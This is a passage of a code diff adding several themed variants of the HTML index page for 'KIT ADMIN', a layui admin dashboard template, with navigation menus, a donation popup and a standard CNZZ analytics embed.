<a href="javascript:;" data-url="/views/form.html" data-name="form" kit-loader><i class="fa fa-plug" aria-hidden="true"></i><span> 表单(page)</span></a>
|
||||
</li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-body" id="container">
|
||||
<!-- 内容主体区域 -->
|
||||
<div style="padding: 15px;">主体内容加载中,请稍等...</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-footer">
|
||||
<!-- 底部固定区域 -->
|
||||
2017 ©
|
||||
<a href="http://kit.zhengjinfan.cn/">kit.zhengjinfan.cn/</a> MIT license
|
||||
|
||||
</div>
|
||||
</div>
|
||||
<script type="text/javascript">
|
||||
var cnzz_protocol = (("https:" == document.location.protocol) ? " https://" : " http://");
|
||||
document.write(unescape("%3Cspan id='cnzz_stat_icon_1264021086'%3E%3C/span%3E%3Cscript src='" + cnzz_protocol + "s22.cnzz.com/z_stat.php%3Fid%3D1264021086%26show%3Dpic1' type='text/javascript'%3E%3C/script%3E"));
|
||||
</script>
|
||||
<script src="./plugins/layui/layui.js"></script>
|
||||
<script>
|
||||
var message;
|
||||
layui.config({
|
||||
base: 'src/js/'
|
||||
}).use(['app', 'message'], function() {
|
||||
var app = layui.app,
|
||||
$ = layui.jquery,
|
||||
layer = layui.layer;
|
||||
//将message设置为全局以便子页面调用
|
||||
message = layui.message;
|
||||
//主入口
|
||||
app.set({
|
||||
type: 'iframe'
|
||||
}).init();
|
||||
$('#pay').on('click', function() {
|
||||
layer.open({
|
||||
title: false,
|
||||
type: 1,
|
||||
content: '<img src="/build/images/pay.png" />',
|
||||
area: ['500px', '250px'],
|
||||
shadeClose: true
|
||||
});
|
||||
});
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,126 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
|
||||
<title>KIT ADMIN</title>
|
||||
<link rel="stylesheet" href="./plugins/layui/css/layui.css" media="all">
|
||||
<link rel="stylesheet" href="./plugins/font-awesome/css/font-awesome.min.css" media="all">
|
||||
<link rel="stylesheet" href="./build/css/app.css" media="all">
|
||||
<link rel="stylesheet" href="./build/css/themes/light.css" media="all">
|
||||
</head>
|
||||
|
||||
<body class="kit-theme">
|
||||
<div class="layui-layout layui-layout-admin kit-layout-admin">
|
||||
<div class="layui-header">
|
||||
<div class="layui-logo">KIT ADMIN</div>
|
||||
<div class="layui-logo kit-logo-mobile">K</div>
|
||||
<ul class="layui-nav layui-layout-left kit-nav" kit-one-level>
|
||||
<li class="layui-nav-item"><a href="javascript:;">控制台</a></li>
|
||||
<li class="layui-nav-item"><a href="javascript:;">商品管理</a></li>
|
||||
</ul>
|
||||
<ul class="layui-nav layui-layout-right kit-nav">
|
||||
<li class="layui-nav-item"><a href="javascript:;" id="pay"><i class="fa fa-gratipay" aria-hidden="true"></i> 捐赠我</a></li>
|
||||
<li class="layui-nav-item">
|
||||
<a href="javascript:;">
|
||||
<img src="http://m.zhengjinfan.cn/images/0.jpg" class="layui-nav-img"> Van
|
||||
</a>
|
||||
<dl class="layui-nav-child">
|
||||
<dd><a href="javascript:;">基本资料</a></dd>
|
||||
<dd><a href="javascript:;">安全设置</a></dd>
|
||||
</dl>
|
||||
</li>
|
||||
<li class="layui-nav-item"><a href="javascript:;"><i class="fa fa-sign-out" aria-hidden="true"></i> 注销</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
<div class="layui-side layui-bg-black kit-side">
|
||||
<div class="layui-side-scroll">
|
||||
<div class="kit-side-fold"><i class="fa fa-navicon" aria-hidden="true"></i></div>
|
||||
<!-- 左侧导航区域（可配合layui已有的垂直导航） -->
|
||||
<ul class="layui-nav layui-nav-tree" lay-filter="kitNavbar" kit-navbar>
|
||||
<li class="layui-nav-item">
|
||||
<a class="" href="javascript:;"><i class="fa fa-plug" aria-hidden="true"></i><span> 基本元素</span></a>
|
||||
<dl class="layui-nav-child">
|
||||
<dd>
|
||||
<a href="javascript:;" kit-target data-options="{url:'test.html',icon:'',title:'表格',id:'1'}">
|
||||
<i class="layui-icon"></i><span> 表格</span></a>
|
||||
</dd>
|
||||
<dd>
|
||||
<a href="javascript:;" data-url="form.html" data-icon="fa-user" data-title="表单" kit-target data-id='2'><i class="fa fa-user" aria-hidden="true"></i><span> 表单</span></a>
|
||||
</dd>
|
||||
<dd>
|
||||
<a href="javascript:;" data-url="nav.html" data-icon="" data-title="导航栏" kit-target data-id='3'><i class="layui-icon"></i><span> 导航栏</span></a>
|
||||
</dd>
|
||||
<dd>
|
||||
<a href="javascript:;" data-url="list4.html" data-icon="" data-title="列表四" kit-target data-id='4'><i class="layui-icon"></i><span> 列表四</span></a>
|
||||
</dd>
|
||||
<dd>
|
||||
<a href="javascript:;" kit-target data-options="{url:'https://www.baidu.com',icon:'',title:'百度一下',id:'5'}"><i class="layui-icon"></i><span> 百度一下</span></a>
|
||||
</dd>
|
||||
</dl>
|
||||
</li>
|
||||
<li class="layui-nav-item layui-nav-itemed">
|
||||
<a href="javascript:;"><i class="fa fa-plug" aria-hidden="true"></i><span> 组件</span></a>
|
||||
<dl class="layui-nav-child">
|
||||
<dd><a href="javascript:;" kit-target data-options="{url:'navbar.html',icon:'',title:'Navbar',id:'6'}"><i class="layui-icon"></i><span> Navbar</span></a></dd>
|
||||
<dd><a href="javascript:;" kit-target data-options="{url:'tab.html',icon:'',title:'TAB',id:'7'}"><i class="layui-icon"></i><span> Tab</span></a></dd>
|
||||
<dd><a href="javascript:;" kit-target data-options="{url:'onelevel.html',icon:'',title:'OneLevel',id:'50'}"><i class="layui-icon"></i><span> OneLevel</span></a></dd>
|
||||
<dd><a href="javascript:;" kit-target data-options="{url:'app.html',icon:'',title:'App',id:'8'}"><i class="layui-icon"></i><span> app.js主入口</span></a></dd>
|
||||
</dl>
|
||||
</li>
|
||||
<li class="layui-nav-item">
|
||||
<a href="javascript:;" data-url="/components/table/table.html" data-name="table" kit-loader><i class="fa fa-plug" aria-hidden="true"></i><span> 表格(page)</span></a>
|
||||
</li>
|
||||
<li class="layui-nav-item">
|
||||
<a href="javascript:;" data-url="/views/form.html" data-name="form" kit-loader><i class="fa fa-plug" aria-hidden="true"></i><span> 表单(page)</span></a>
|
||||
</li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-body" id="container">
|
||||
<!-- 内容主体区域 -->
|
||||
<div style="padding: 15px;">主体内容加载中,请稍等...</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-footer">
|
||||
<!-- 底部固定区域 -->
|
||||
2017 ©
|
||||
<a href="http://kit.zhengjinfan.cn/">kit.zhengjinfan.cn/</a> MIT license
|
||||
|
||||
</div>
|
||||
</div>
|
||||
<script type="text/javascript">
|
||||
var cnzz_protocol = (("https:" == document.location.protocol) ? " https://" : " http://");
|
||||
document.write(unescape("%3Cspan id='cnzz_stat_icon_1264021086'%3E%3C/span%3E%3Cscript src='" + cnzz_protocol + "s22.cnzz.com/z_stat.php%3Fid%3D1264021086%26show%3Dpic1' type='text/javascript'%3E%3C/script%3E"));
|
||||
</script>
|
||||
<script src="./plugins/layui/layui.js"></script>
|
||||
<script>
|
||||
var message;
|
||||
layui.config({
|
||||
base: 'build/js/'
|
||||
}).use(['app', 'message'], function() {
|
||||
var app = layui.app,
|
||||
$ = layui.jquery,
|
||||
layer = layui.layer;
|
||||
//将message设置为全局以便子页面调用
|
||||
message = layui.message;
|
||||
//主入口
|
||||
app.set({
|
||||
type: 'iframe'
|
||||
}).init();
|
||||
$('#pay').on('click', function() {
|
||||
layer.open({
|
||||
title: false,
|
||||
type: 1,
|
||||
content: '<img src="/build/images/pay.png" />',
|
||||
area: ['500px', '250px'],
|
||||
shadeClose: true
|
||||
});
|
||||
});
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,126 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
|
||||
<title>KIT ADMIN</title>
|
||||
<link rel="stylesheet" href="./plugins/layui/css/layui.css" media="all">
|
||||
<link rel="stylesheet" href="./plugins/font-awesome/css/font-awesome.min.css" media="all">
|
||||
<link rel="stylesheet" href="./build/css/app.css" media="all">
|
||||
<link rel="stylesheet" href="./build/css/themes/blue.css" media="all">
|
||||
</head>
|
||||
|
||||
<body class="kit-theme">
|
||||
<div class="layui-layout layui-layout-admin kit-layout-admin">
|
||||
<div class="layui-header">
|
||||
<div class="layui-logo">KIT ADMIN</div>
|
||||
<div class="layui-logo kit-logo-mobile">K</div>
|
||||
<ul class="layui-nav layui-layout-left kit-nav" kit-one-level>
|
||||
<li class="layui-nav-item"><a href="javascript:;">控制台</a></li>
|
||||
<li class="layui-nav-item"><a href="javascript:;">商品管理</a></li>
|
||||
</ul>
|
||||
<ul class="layui-nav layui-layout-right kit-nav">
|
||||
<li class="layui-nav-item"><a href="javascript:;" id="pay"><i class="fa fa-gratipay" aria-hidden="true"></i> 捐赠我</a></li>
|
||||
<li class="layui-nav-item">
|
||||
<a href="javascript:;">
|
||||
<img src="http://m.zhengjinfan.cn/images/0.jpg" class="layui-nav-img"> Van
|
||||
</a>
|
||||
<dl class="layui-nav-child">
|
||||
<dd><a href="javascript:;">基本资料</a></dd>
|
||||
<dd><a href="javascript:;">安全设置</a></dd>
|
||||
</dl>
|
||||
</li>
|
||||
<li class="layui-nav-item"><a href="javascript:;"><i class="fa fa-sign-out" aria-hidden="true"></i> 注销</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
<div class="layui-side layui-bg-black kit-side">
|
||||
<div class="layui-side-scroll">
|
||||
<div class="kit-side-fold"><i class="fa fa-navicon" aria-hidden="true"></i></div>
|
||||
<!-- 左侧导航区域（可配合layui已有的垂直导航） -->
|
||||
<ul class="layui-nav layui-nav-tree" lay-filter="kitNavbar" kit-navbar>
|
||||
<li class="layui-nav-item">
|
||||
<a class="" href="javascript:;"><i class="fa fa-plug" aria-hidden="true"></i><span> 基本元素</span></a>
|
||||
<dl class="layui-nav-child">
|
||||
<dd>
|
||||
<a href="javascript:;" kit-target data-options="{url:'test.html',icon:'',title:'表格',id:'1'}">
|
||||
<i class="layui-icon"></i><span> 表格</span></a>
|
||||
</dd>
|
||||
<dd>
|
||||
<a href="javascript:;" data-url="form.html" data-icon="fa-user" data-title="表单" kit-target data-id='2'><i class="fa fa-user" aria-hidden="true"></i><span> 表单</span></a>
|
||||
</dd>
|
||||
<dd>
|
||||
<a href="javascript:;" data-url="nav.html" data-icon="" data-title="导航栏" kit-target data-id='3'><i class="layui-icon"></i><span> 导航栏</span></a>
|
||||
</dd>
|
||||
<dd>
|
||||
<a href="javascript:;" data-url="list4.html" data-icon="" data-title="列表四" kit-target data-id='4'><i class="layui-icon"></i><span> 列表四</span></a>
|
||||
</dd>
|
||||
<dd>
|
||||
<a href="javascript:;" kit-target data-options="{url:'https://www.baidu.com',icon:'',title:'百度一下',id:'5'}"><i class="layui-icon"></i><span> 百度一下</span></a>
|
||||
</dd>
|
||||
</dl>
|
||||
</li>
|
||||
<li class="layui-nav-item layui-nav-itemed">
|
||||
<a href="javascript:;"><i class="fa fa-plug" aria-hidden="true"></i><span> 组件</span></a>
|
||||
<dl class="layui-nav-child">
|
||||
<dd><a href="javascript:;" kit-target data-options="{url:'navbar.html',icon:'',title:'Navbar',id:'6'}"><i class="layui-icon"></i><span> Navbar</span></a></dd>
|
||||
<dd><a href="javascript:;" kit-target data-options="{url:'tab.html',icon:'',title:'TAB',id:'7'}"><i class="layui-icon"></i><span> Tab</span></a></dd>
|
||||
<dd><a href="javascript:;" kit-target data-options="{url:'onelevel.html',icon:'',title:'OneLevel',id:'50'}"><i class="layui-icon"></i><span> OneLevel</span></a></dd>
|
||||
<dd><a href="javascript:;" kit-target data-options="{url:'app.html',icon:'',title:'App',id:'8'}"><i class="layui-icon"></i><span> app.js主入口</span></a></dd>
|
||||
</dl>
|
||||
</li>
|
||||
<li class="layui-nav-item">
|
||||
<a href="javascript:;" data-url="/components/table/table.html" data-name="table" kit-loader><i class="fa fa-plug" aria-hidden="true"></i><span> 表格(page)</span></a>
|
||||
</li>
|
||||
<li class="layui-nav-item">
|
||||
<a href="javascript:;" data-url="/views/form.html" data-name="form" kit-loader><i class="fa fa-plug" aria-hidden="true"></i><span> 表单(page)</span></a>
|
||||
</li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-body" id="container">
|
||||
<!-- 内容主体区域 -->
|
||||
<div style="padding: 15px;">主体内容加载中,请稍等...</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-footer">
|
||||
<!-- 底部固定区域 -->
|
||||
2017 ©
|
||||
<a href="http://kit.zhengjinfan.cn/">kit.zhengjinfan.cn/</a> MIT license
|
||||
|
||||
</div>
|
||||
</div>
|
||||
<script type="text/javascript">
|
||||
var cnzz_protocol = (("https:" == document.location.protocol) ? " https://" : " http://");
|
||||
document.write(unescape("%3Cspan id='cnzz_stat_icon_1264021086'%3E%3C/span%3E%3Cscript src='" + cnzz_protocol + "s22.cnzz.com/z_stat.php%3Fid%3D1264021086%26show%3Dpic1' type='text/javascript'%3E%3C/script%3E"));
|
||||
</script>
|
||||
<script src="./plugins/layui/layui.js"></script>
|
||||
<script>
|
||||
var message;
|
||||
layui.config({
|
||||
base: 'build/js/'
|
||||
}).use(['app', 'message'], function() {
|
||||
var app = layui.app,
|
||||
$ = layui.jquery,
|
||||
layer = layui.layer;
|
||||
//将message设置为全局以便子页面调用
|
||||
message = layui.message;
|
||||
//主入口
|
||||
app.set({
|
||||
type: 'iframe'
|
||||
}).init();
|
||||
$('#pay').on('click', function() {
|
||||
layer.open({
|
||||
title: false,
|
||||
type: 1,
|
||||
content: '<img src="/build/images/pay.png" />',
|
||||
area: ['500px', '250px'],
|
||||
shadeClose: true
|
||||
});
|
||||
});
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,126 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
|
||||
<title>KIT ADMIN</title>
|
||||
<link rel="stylesheet" href="./plugins/layui/css/layui.css" media="all">
|
||||
<link rel="stylesheet" href="./plugins/font-awesome/css/font-awesome.min.css" media="all">
|
||||
<link rel="stylesheet" href="./build/css/app.css" media="all">
|
||||
<link rel="stylesheet" href="./build/css/themes/orange.css" media="all">
|
||||
</head>
|
||||
|
||||
<body class="kit-theme">
|
||||
<div class="layui-layout layui-layout-admin kit-layout-admin">
|
||||
<div class="layui-header">
|
||||
<div class="layui-logo">KIT ADMIN</div>
|
||||
<div class="layui-logo kit-logo-mobile">K</div>
|
||||
<ul class="layui-nav layui-layout-left kit-nav" kit-one-level>
|
||||
<li class="layui-nav-item"><a href="javascript:;">控制台</a></li>
|
||||
<li class="layui-nav-item"><a href="javascript:;">商品管理</a></li>
|
||||
</ul>
|
||||
<ul class="layui-nav layui-layout-right kit-nav">
|
||||
<li class="layui-nav-item"><a href="javascript:;" id="pay"><i class="fa fa-gratipay" aria-hidden="true"></i> 捐赠我</a></li>
|
||||
<li class="layui-nav-item">
|
||||
<a href="javascript:;">
|
||||
<img src="http://m.zhengjinfan.cn/images/0.jpg" class="layui-nav-img"> Van
|
||||
</a>
|
||||
<dl class="layui-nav-child">
|
||||
<dd><a href="javascript:;">基本资料</a></dd>
|
||||
<dd><a href="javascript:;">安全设置</a></dd>
|
||||
</dl>
|
||||
</li>
|
||||
<li class="layui-nav-item"><a href="javascript:;"><i class="fa fa-sign-out" aria-hidden="true"></i> 注销</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
<div class="layui-side layui-bg-black kit-side">
|
||||
<div class="layui-side-scroll">
|
||||
<div class="kit-side-fold"><i class="fa fa-navicon" aria-hidden="true"></i></div>
|
||||
<!-- 左侧导航区域（可配合layui已有的垂直导航） -->
|
||||
<ul class="layui-nav layui-nav-tree" lay-filter="kitNavbar" kit-navbar>
|
||||
<li class="layui-nav-item">
|
||||
<a class="" href="javascript:;"><i class="fa fa-plug" aria-hidden="true"></i><span> 基本元素</span></a>
|
||||
<dl class="layui-nav-child">
|
||||
<dd>
|
||||
<a href="javascript:;" kit-target data-options="{url:'test.html',icon:'',title:'表格',id:'1'}">
|
||||
<i class="layui-icon"></i><span> 表格</span></a>
|
||||
</dd>
|
||||
<dd>
|
||||
<a href="javascript:;" data-url="form.html" data-icon="fa-user" data-title="表单" kit-target data-id='2'><i class="fa fa-user" aria-hidden="true"></i><span> 表单</span></a>
|
||||
</dd>
|
||||
<dd>
|
||||
<a href="javascript:;" data-url="nav.html" data-icon="" data-title="导航栏" kit-target data-id='3'><i class="layui-icon"></i><span> 导航栏</span></a>
|
||||
</dd>
|
||||
<dd>
|
||||
<a href="javascript:;" data-url="list4.html" data-icon="" data-title="列表四" kit-target data-id='4'><i class="layui-icon"></i><span> 列表四</span></a>
|
||||
</dd>
|
||||
<dd>
|
||||
<a href="javascript:;" kit-target data-options="{url:'https://www.baidu.com',icon:'',title:'百度一下',id:'5'}"><i class="layui-icon"></i><span> 百度一下</span></a>
|
||||
</dd>
|
||||
</dl>
|
||||
</li>
|
||||
<li class="layui-nav-item layui-nav-itemed">
|
||||
<a href="javascript:;"><i class="fa fa-plug" aria-hidden="true"></i><span> 组件</span></a>
|
||||
<dl class="layui-nav-child">
|
||||
<dd><a href="javascript:;" kit-target data-options="{url:'navbar.html',icon:'',title:'Navbar',id:'6'}"><i class="layui-icon"></i><span> Navbar</span></a></dd>
|
||||
<dd><a href="javascript:;" kit-target data-options="{url:'tab.html',icon:'',title:'TAB',id:'7'}"><i class="layui-icon"></i><span> Tab</span></a></dd>
|
||||
<dd><a href="javascript:;" kit-target data-options="{url:'onelevel.html',icon:'',title:'OneLevel',id:'50'}"><i class="layui-icon"></i><span> OneLevel</span></a></dd>
|
||||
<dd><a href="javascript:;" kit-target data-options="{url:'app.html',icon:'',title:'App',id:'8'}"><i class="layui-icon"></i><span> app.js主入口</span></a></dd>
|
||||
</dl>
|
||||
</li>
|
||||
<li class="layui-nav-item">
|
||||
<a href="javascript:;" data-url="/components/table/table.html" data-name="table" kit-loader><i class="fa fa-plug" aria-hidden="true"></i><span> 表格(page)</span></a>
|
||||
</li>
|
||||
<li class="layui-nav-item">
|
||||
<a href="javascript:;" data-url="/views/form.html" data-name="form" kit-loader><i class="fa fa-plug" aria-hidden="true"></i><span> 表单(page)</span></a>
|
||||
</li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-body" id="container">
|
||||
<!-- 内容主体区域 -->
|
||||
<div style="padding: 15px;">主体内容加载中,请稍等...</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-footer">
|
||||
<!-- 底部固定区域 -->
|
||||
2017 ©
|
||||
<a href="http://kit.zhengjinfan.cn/">kit.zhengjinfan.cn/</a> MIT license
|
||||
|
||||
</div>
|
||||
</div>
|
||||
<script type="text/javascript">
|
||||
var cnzz_protocol = (("https:" == document.location.protocol) ? " https://" : " http://");
|
||||
document.write(unescape("%3Cspan id='cnzz_stat_icon_1264021086'%3E%3C/span%3E%3Cscript src='" + cnzz_protocol + "s22.cnzz.com/z_stat.php%3Fid%3D1264021086%26show%3Dpic1' type='text/javascript'%3E%3C/script%3E"));
|
||||
</script>
|
||||
<script src="./plugins/layui/layui.js"></script>
|
||||
<script>
|
||||
var message;
|
||||
layui.config({
|
||||
base: 'build/js/'
|
||||
}).use(['app', 'message'], function() {
|
||||
var app = layui.app,
|
||||
$ = layui.jquery,
|
||||
layer = layui.layer;
|
||||
//将message设置为全局以便子页面调用
|
||||
message = layui.message;
|
||||
//主入口
|
||||
app.set({
|
||||
type: 'iframe'
|
||||
}).init();
|
||||
$('#pay').on('click', function() {
|
||||
layer.open({
|
||||
title: false,
|
||||
type: 1,
|
||||
content: '<img src="/build/images/pay.png" />',
|
||||
area: ['500px', '250px'],
|
||||
shadeClose: true
|
||||
});
|
||||
});
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,126 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
|
||||
<title>KIT ADMIN</title>
|
||||
<link rel="stylesheet" href="./plugins/layui/css/layui.css" media="all">
|
||||
<link rel="stylesheet" href="./plugins/font-awesome/css/font-awesome.min.css" media="all">
|
||||
<link rel="stylesheet" href="./build/css/app.css" media="all">
|
||||
<link rel="stylesheet" href="./build/css/themes/green.css" media="all">
|
||||
</head>
|
||||
|
||||
<body class="kit-theme">
|
||||
<div class="layui-layout layui-layout-admin kit-layout-admin">
|
||||
<div class="layui-header">
|
||||
<div class="layui-logo">KIT ADMIN</div>
|
||||
<div class="layui-logo kit-logo-mobile">K</div>
|
||||
<ul class="layui-nav layui-layout-left kit-nav" kit-one-level>
|
||||
<li class="layui-nav-item"><a href="javascript:;">控制台</a></li>
|
||||
<li class="layui-nav-item"><a href="javascript:;">商品管理</a></li>
|
||||
</ul>
|
||||
<ul class="layui-nav layui-layout-right kit-nav">
|
||||
<li class="layui-nav-item"><a href="javascript:;" id="pay"><i class="fa fa-gratipay" aria-hidden="true"></i> 捐赠我</a></li>
|
||||
<li class="layui-nav-item">
|
||||
<a href="javascript:;">
|
||||
<img src="http://m.zhengjinfan.cn/images/0.jpg" class="layui-nav-img"> Van
|
||||
</a>
|
||||
<dl class="layui-nav-child">
|
||||
<dd><a href="javascript:;">基本资料</a></dd>
|
||||
<dd><a href="javascript:;">安全设置</a></dd>
|
||||
</dl>
|
||||
</li>
|
||||
<li class="layui-nav-item"><a href="javascript:;"><i class="fa fa-sign-out" aria-hidden="true"></i> 注销</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
<div class="layui-side layui-bg-black kit-side">
|
||||
<div class="layui-side-scroll">
|
||||
<div class="kit-side-fold"><i class="fa fa-navicon" aria-hidden="true"></i></div>
|
||||
<!-- 左侧导航区域（可配合layui已有的垂直导航） -->
|
||||
<ul class="layui-nav layui-nav-tree" lay-filter="kitNavbar" kit-navbar>
|
||||
<li class="layui-nav-item">
|
||||
<a class="" href="javascript:;"><i class="fa fa-plug" aria-hidden="true"></i><span> 基本元素</span></a>
|
||||
<dl class="layui-nav-child">
|
||||
<dd>
|
||||
<a href="javascript:;" kit-target data-options="{url:'test.html',icon:'',title:'表格',id:'1'}">
|
||||
<i class="layui-icon"></i><span> 表格</span></a>
|
||||
</dd>
|
||||
<dd>
|
||||
<a href="javascript:;" data-url="form.html" data-icon="fa-user" data-title="表单" kit-target data-id='2'><i class="fa fa-user" aria-hidden="true"></i><span> 表单</span></a>
|
||||
</dd>
|
||||
<dd>
|
||||
<a href="javascript:;" data-url="nav.html" data-icon="" data-title="导航栏" kit-target data-id='3'><i class="layui-icon"></i><span> 导航栏</span></a>
|
||||
</dd>
|
||||
<dd>
|
||||
<a href="javascript:;" data-url="list4.html" data-icon="" data-title="列表四" kit-target data-id='4'><i class="layui-icon"></i><span> 列表四</span></a>
|
||||
</dd>
|
||||
<dd>
|
||||
<a href="javascript:;" kit-target data-options="{url:'https://www.baidu.com',icon:'',title:'百度一下',id:'5'}"><i class="layui-icon"></i><span> 百度一下</span></a>
|
||||
</dd>
|
||||
</dl>
|
||||
</li>
|
||||
<li class="layui-nav-item layui-nav-itemed">
|
||||
<a href="javascript:;"><i class="fa fa-plug" aria-hidden="true"></i><span> 组件</span></a>
|
||||
<dl class="layui-nav-child">
|
||||
<dd><a href="javascript:;" kit-target data-options="{url:'navbar.html',icon:'',title:'Navbar',id:'6'}"><i class="layui-icon"></i><span> Navbar</span></a></dd>
|
||||
<dd><a href="javascript:;" kit-target data-options="{url:'tab.html',icon:'',title:'TAB',id:'7'}"><i class="layui-icon"></i><span> Tab</span></a></dd>
|
||||
<dd><a href="javascript:;" kit-target data-options="{url:'onelevel.html',icon:'',title:'OneLevel',id:'50'}"><i class="layui-icon"></i><span> OneLevel</span></a></dd>
|
||||
<dd><a href="javascript:;" kit-target data-options="{url:'app.html',icon:'',title:'App',id:'8'}"><i class="layui-icon"></i><span> app.js主入口</span></a></dd>
|
||||
</dl>
|
||||
</li>
|
||||
<li class="layui-nav-item">
|
||||
<a href="javascript:;" data-url="/components/table/table.html" data-name="table" kit-loader><i class="fa fa-plug" aria-hidden="true"></i><span> 表格(page)</span></a>
|
||||
</li>
|
||||
<li class="layui-nav-item">
|
||||
<a href="javascript:;" data-url="/views/form.html" data-name="form" kit-loader><i class="fa fa-plug" aria-hidden="true"></i><span> 表单(page)</span></a>
|
||||
</li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-body" id="container">
|
||||
<!-- 内容主体区域 -->
|
||||
<div style="padding: 15px;">主体内容加载中,请稍等...</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-footer">
|
||||
<!-- 底部固定区域 -->
|
||||
2017 ©
|
||||
<a href="http://kit.zhengjinfan.cn/">kit.zhengjinfan.cn/</a> MIT license
|
||||
|
||||
</div>
|
||||
</div>
|
||||
<script type="text/javascript">
|
||||
var cnzz_protocol = (("https:" == document.location.protocol) ? " https://" : " http://");
|
||||
document.write(unescape("%3Cspan id='cnzz_stat_icon_1264021086'%3E%3C/span%3E%3Cscript src='" + cnzz_protocol + "s22.cnzz.com/z_stat.php%3Fid%3D1264021086%26show%3Dpic1' type='text/javascript'%3E%3C/script%3E"));
|
||||
</script>
|
||||
<script src="./plugins/layui/layui.js"></script>
|
||||
<script>
|
||||
var message;
|
||||
layui.config({
|
||||
base: 'build/js/'
|
||||
}).use(['app', 'message'], function() {
|
||||
var app = layui.app,
|
||||
$ = layui.jquery,
|
||||
layer = layui.layer;
|
||||
//将message设置为全局以便子页面调用
|
||||
message = layui.message;
|
||||
//主入口
|
||||
app.set({
|
||||
type: 'iframe'
|
||||
}).init();
|
||||
$('#pay').on('click', function() {
|
||||
layer.open({
|
||||
title: false,
|
||||
type: 1,
|
||||
content: '<img src="/build/images/pay.png" />',
|
||||
area: ['500px', '250px'],
|
||||
shadeClose: true
|
||||
});
|
||||
});
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,125 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
|
||||
<title>KIT ADMIN</title>
|
||||
<link rel="stylesheet" href="./plugins/layui/css/layui.css" media="all">
|
||||
<link rel="stylesheet" href="./plugins/font-awesome/css/font-awesome.min.css" media="all">
|
||||
<link rel="stylesheet" href="./build/css/app.css" media="all">
|
||||
<link rel="stylesheet" href="./build/css/themes/red.css" media="all">
|
||||
</head>
|
||||
|
||||
<body class="kit-theme">
|
||||
<div class="layui-layout layui-layout-admin kit-layout-admin">
|
||||
<div class="layui-header">
|
||||
<div class="layui-logo">KIT ADMIN</div>
|
||||
<div class="layui-logo kit-logo-mobile">K</div>
|
||||
<ul class="layui-nav layui-layout-left kit-nav">
|
||||
<li class="layui-nav-item"><a href="javascript:;">控制台</a></li>
|
||||
<li class="layui-nav-item"><a href="javascript:;">商品管理</a></li>
|
||||
<li class="layui-nav-item"><a href="javascript:;" id="pay"><i class="fa fa-gratipay" aria-hidden="true"></i> 捐赠我</a></li>
|
||||
<li class="layui-nav-item">
|
||||
<a href="javascript:;">其它系统</a>
|
||||
<dl class="layui-nav-child">
|
||||
<dd><a href="javascript:;">邮件管理</a></dd>
|
||||
<dd><a href="javascript:;">消息管理</a></dd>
|
||||
<dd><a href="javascript:;">授权管理</a></dd>
|
||||
</dl>
|
||||
</li>
|
||||
</ul>
|
||||
<ul class="layui-nav layui-layout-right kit-nav">
|
||||
<li class="layui-nav-item">
|
||||
<a href="javascript:;">
|
||||
<img src="http://m.zhengjinfan.cn/images/0.jpg" class="layui-nav-img"> Van
|
||||
</a>
|
||||
<dl class="layui-nav-child">
|
||||
<dd><a href="javascript:;" kit-target data-options="{url:'basic.html',icon:'',title:'基本资料',id:'966'}"><span>基本资料</span></a></dd>
|
||||
<dd><a href="javascript:;">安全设置</a></dd>
|
||||
</dl>
|
||||
</li>
|
||||
<li class="layui-nav-item"><a href="javascript:;"><i class="fa fa-sign-out" aria-hidden="true"></i> 注销</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
<div class="layui-side layui-bg-black kit-side">
|
||||
<div class="layui-side-scroll">
|
||||
<div class="kit-side-fold"><i class="fa fa-navicon" aria-hidden="true"></i></div>
|
||||
<!-- 左侧导航区域（可配合layui已有的垂直导航） -->
|
||||
<ul class="layui-nav layui-nav-tree" lay-filter="kitNavbar" kit-navbar>
|
||||
<li class="layui-nav-item">
|
||||
<a class="" href="javascript:;"><i class="fa fa-plug" aria-hidden="true"></i><span> 基本元素</span></a>
|
||||
<dl class="layui-nav-child">
|
||||
<dd>
|
||||
<a href="javascript:;" kit-target data-options="{url:'test.html',icon:'',title:'表格',id:'1'}">
|
||||
<i class="layui-icon"></i><span> 表格</span></a>
|
||||
</dd>
|
||||
<dd>
|
||||
